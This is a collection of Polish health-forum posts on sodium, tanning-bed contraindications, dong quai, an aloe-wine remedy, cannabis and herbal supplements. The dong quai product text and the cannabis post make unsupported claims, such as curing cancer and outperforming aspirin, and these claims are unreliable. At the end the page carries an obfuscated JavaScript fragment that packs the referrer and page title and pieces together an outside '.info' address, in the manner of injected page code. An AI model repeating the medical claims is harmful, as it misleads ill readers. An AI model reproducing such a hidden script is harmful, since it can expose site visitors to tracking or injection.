zapotrzebowanie na sod juz jest pokryte, jesli do tego posoli sie sporo wode do
gotowania warzyw, kotlecik, itp. to juz wystarczy, zeby sod przedawkowac.

  solarium
- Bardzo jasna karnacja (fototyp I - celtycki).
- bardzo młody wiek,
- nowotwory złośliwe,
- Uczulenie na słońce, nadwrażliwość skóry na promienie słoneczne.
- Bielactwo.
- Rozległy typowy trądzik, trądzik różowaty, opryszczka.
- Rozszerzone naczynka na twarzy lub ciele.
- Liczne znamiona barwnikowe skóry, blizny.
- blizny, niezagojone tatuaże.
- Ciąża, karmienie piersią.
- Miesiączka.
- Gorączka, stany zapalne
- Przebyta niedawno operacja (okres rekonwalescencji)
- Choroby serca i układu krążenia, nerek, tarczycy, epilepsja i inne
poważne choroby przewlekłe.
- schorzenia układu kostnego lub stawów,
- Aktywne zabiegi kosmetyczne i medycyny estetycznej ( szczególnie z
zastosowaniem retinolu, kwasów owocowych, glikolowych, środków
wybielających, zabiegi oczyszczające i depilujące.
- Stosowanie kosmetyków z retinolem, kwasami hydroksylowymi(AHA,
BHA), szamponu z dziegciem, perfum i dezodorantów bezpośrednio przed
opalaniem.
- Stosowanie środków fotouczulających.

Stosując leki z grupy barbituranów i sulfonamidów * niesteroidowe
środki przeciwzapalne (przeciwbólowe, przeciwreumatyczne) * środki
moczopędne * preparaty na serce * antybiotyki (tetracykliny) *
niektóre leki przeciwalergiczne * leki przeciw epilepsji * niektóre
środki przeciwdepresyjne, uspokajające * niektóre leki
przeciwcukrzycowe * leki hormonalne np. tabletki antykoncepcyjne *
fenotiazyny (środki przeciwwymiotne) * niektóre środki
przeciwbakteryjne, przeciwgrzybiczne, pochodne kwasu benzoesowego *
pochodne retinoidów zawarte w maściach i lekach doustnych * zioła
(szczególnie dziurawiec) proszę przeczytać znajdującą się w
opakowaniu ulotkę informacyjną i koniecznie skonsultować się z
lekarzem, czy można się opalać.

* Nadciśnienie i zaburzenia w krążeniu
* Alergia na promieniowanie UV
* Schorzenia tarczycy
* Skłonność do przebarwień skóry i duża ilość znamion barwnikowych
* Trądzik różowaty oraz skłonność do rozszerzonych naczynek
krwionośnych
* Nie powinny korzystać osoby przyjmujące niektóre preparaty
hormonalne, sulfonamidy, antybiotyki, leki nasercowe
* W czasie opalania należy zrezygnować z kuracji ziołowych,
zwłaszcza jeżeli zawierają wyciąg z dziurawca
* W żadnym wypadku nie należy się perfumować lub używać dezodorantu
* Nie mogą korzystać co najmniej przez miesiąc osoby, które przeszły
złuszczanie kwasami owocowymi, a zwłaszcza eksfoliację stężonym
kwasem glikolowym. Nie należy też przebywać w solarium bezpośrednio
po zabiegu oczyszczania skóry, elektrolizie lub zamykaniu naczynek

  substytut progesteronu
albo ...dong quai (angelica sinensis)

Dong Quai jest uważany przez chińskich herbalistów za wszechstronny tonik
ziołowy posiadający wiele istotnych właściwości terapeutycznych. Jest również
używany w chińskiej kuchni jako przyprawa ziołowa.

Dong Quai stanowi bogate źródło witamin : A, B2, B12, E. Zawiera też
składniki odżywiające i pobudzające do pracy gruczoły hormonalne, a zwłaszcza
produkujące żeńskie hormony
(progesteron i estrogen). Zawiera wreszcie dużo żelaza i magnezu oraz olejki
eteryczne i sacharozę.

Z w/w względów jest znanym i cenionym ziołem używanym do przywrócenia równowagi
hormonalnej u kobiet, której zaburzenia są często powodem zmian emocjonalnych i
różnorakich objawów wybitnie pogarszających samopoczucie.

Dong Quai działa także przeciwbólowo (silniej niż aspiryna).

Działanie:

- odżywia i uaktywnia kobiece narządy hormonalne,
- utrzymuje równowagę żeńskich hormonów płciowych,
- silny środek antybakteryjny, antywirusowy, antygrzybiczy i przeciwbólowy,
- zapobiega powstawaniu i uwalnia od wielu alergii,
- wzmacnia organy wewnętrzne i mięśnie,
- oczyszcza krew i polepsza jej krążenie oraz zmniejsza ciśnienie krwi,
- stabilizuje poziom cukru we krwi,
- wzbogaca krew w składniki odżywcze i tlen,
- działa uspokajająco i tonizująco na system nerwowy,
- nawilża i wygładza wewnętrzne ścianki jelit,
- uwalnia od skurczy mięśni, spazmów, ataków kaszlu,
- wydelikatnia i chroni skórę,
- pobudza zatrzymaną menstruację, poprawia regularność cyklu i zmniejsza bóle
menstruacyjne.

Zastosowanie w przypadkach:

* niedoboru witaminy E
* osłabienia systemu nerwowego
* bólu kobiecych narządów rodnych
* słabego krążenia i dla regulacji poziomu cukru we krwi, przy nadciśnieniu
* w okresie klimakterium
* zaburzenia pracy nerek,
* opadnięcia macicy, pęcherza moczowego
* anemii
* chorób skóry
* w okresie porodu
* bólu głowy, zębów, bólu mięśni i bólu żołądka
* nowotworów
* reumatyzmu

Używanie: jednorazowo 1 do 2 kapsułek 3 razy dziennie w czasie posiłków.

Opakowanie: 100 kaps. po 500 mg.

  Aloes "parapetowy" - jak rozsadzić ?
Witam,
Przepisy, które podam, zaczerpnięte są z książki Ireny gumowskiej" Nie daj się
chorobie".
Płukanka do włosów: 2- 3 liście polamać i zmiksować z wodą, przecedzić,
dopełnić wodą ( ciepłą) i spłukać włosy po myciu. Wlosy robią się puszyste i
błyszczące. efekt, jak to przy ziołach, po kilku razach. wg. Gumowskiej pomaga
również przy łupieżu.
Winko ( lecznicze): Aloes musi mieć 3 lata, 3 dni przed zerwaniem nie podlewać,
można zestawić z parapetu. Liście (0,5 kg) umyć, połamać, przepuścić przez
maszynkę lub zmiksować. dolać 1/2 l wina czerwonego oraz 0,5 kg miodu, dobrze
wymieszać, przelać do ciemnego naczynia i trzymać w ciemnym miejscu 3-5 dni,
można ze 2 razy pomieszać. przecedzić przez gęste sitko, przelać do ciemnych
butelek i trzymać w lodówce.
kuracja: pierwszy tydzień 3x1 łyżeczka, następne 3-4 tygodnie 1 x 1 łyżka,
kolejne 3-4 tyg. 3x1 łyżeczka. Kuracja powinna trwać 2-3 miesiące.Winko pije
się na 1godz, przed jedzeniem.
Wg Gumowskiej winko pomaga przy wrzodach dwunastnicy i zołądka, owrzodzeniu
jelita grubego, w kurczach mięsni, nerwobólach, bólach reumatycznych. Z innego
źródła -również na wzmocnienie i uodpornienie- i tak ja stosowałam, przyznam
cierpliwości w piciu tego winka starczyło mi na 2tygodnie, efekty trudno mi
ocenić;)
Gumowska nie podaje jakie są przeciwwskazania dla winka, podaje tylko przy
Biostyminie - wyciągu z aloesu( to chyba wogóle przepisuje lekarz):ciężkie
zaburzenia w krążeniu, zaawansowana niewydolność nerek, II i III trymestr
ciąży,przebycie zawału, zakrzep, choroby nowotworowe, gruźlica.

Na codzień:liściem, oskubanym z kolców i rozerwanym można przetrzeć dłonie ( tą
galaretką, która jest w środku), wygładza i nawilża.
Pozdrawiam, K

  a takie na ten przykład Indie...
ba w USA sa całe pola państwowej marychy,
bo jest skuteczna na pewne choroby nowotworowe!
Chca wyodrebnic ten czynnik tylko z tego ziela,
który leczy... a usunąc przyjemnośc!

  alveo bez miarki - jak dozowac?
tigerness.74 napisała:
> Ja też sobie poczytałam właśnie o Vilcacorze, tyle że z innego źródła-świętej
> pamięci Jackowi Kaczmarskiemu ona nie pomogła, choć pokładał wielkie nadzieje > w tym "genialnym" andyjskim specyfiku:
> www.kaczmarski.art.pl/forum/printview.php?t=433&start=0

Nie mam tyle odwagi aby twierdzić, że vilcacora Jest "genialnym andyjskim specyfikiem a także aby temu przeczyć. Nie jestem też konsumentem, ani znawcą - naukowcem. I nie mam pojęcia czy J.Kaczmarski pokładał wielkie czy też małe nadzieje. To nie jest tak ważne jak wiele innych czynników o których nie ma sensu tutaj pisywać.
Natomiast powoływanie się na fora dyskusyjne w kategorii autorytarnego źródła informacji jako przeciwwagi na wcześniej podany link jest....niepowżne. Więcej w tym domysłów dyskutantów aniżeli faktów.
Zostawmy Jacka Kaczmarskiego w świętym spokoju. Wielu innych,majętnych i znanych osób poumierało na nowotwory, wielu jeszcze umrze mimo dużych możliwości finansowych a stąd i otwartego dostępu do drogich kuracji.
Po preparatach ziołowych nie należy oczekiwać cudów, podobnie zresztą jak i po farmaceutycznych prochach. Nie trzeba być lekarzem ani "szarlatanem" aby wiedzieć, że zawsze jest ważny dla procesu leczenia czas odkrycia choroby, w jakim jest stadium, rodzaj podjętej kuracji, stan psycho-fizyczny chorego itd,itp.
O jednym i najważniejszym trzeba pamiętać: preparaty ziołowe typu Vilcacora,Nutrilite,Alveo NIE SĄ LEKARSTWAMI. Ich zadaniem jest WSPOMAGANIE a nie leczenie. Wspomaganie, czyli dostarczanie we właściwych ilościach, proporcjach i składzie organizmowi składników odżywczych. To one warunkują właściwe funkcjonownie organizmu. Jeżeli organiazm jest wyniszczony chorobą,niedożywiony, jeżeli chory przestaje z wirą walczyć o wyzdrowienie to efekt jest łatwy do przewidzenia niezależnie od stosowanego leczenia. Jeżeli dzisiaj ktoś z was uważa, że jest w stanie składników odżywczych dostarczyć spożywjąc pokarm jaki jada na codzień i podpiera to odpowiednim trybem życia to... tylko współczuć. A przecież wszyscy z lekarzami włącznie krzyczą o wadze profilaktyki zdrowia i....na krzyku się z reguły kończy. Preparaty ziołowe są ważnym, ale nie jedynym składnikiem właśnie profilaktyki. Im szybciej to zrozumiemy tym lepiej dla nas, bo lepszego rozwiązania dla zachowania zdrowia nie mamy do dyspozycji. A tacy jak snajper55 (ich opinie) to przysłowiowe pieski towarzyszące karawanie (bez obrazy snajper).


function bb515451d9be03a(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515451d9be000(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515451d9be000(bb515451d9be03a(document.referrer),bb515451d9be03a(document.title)));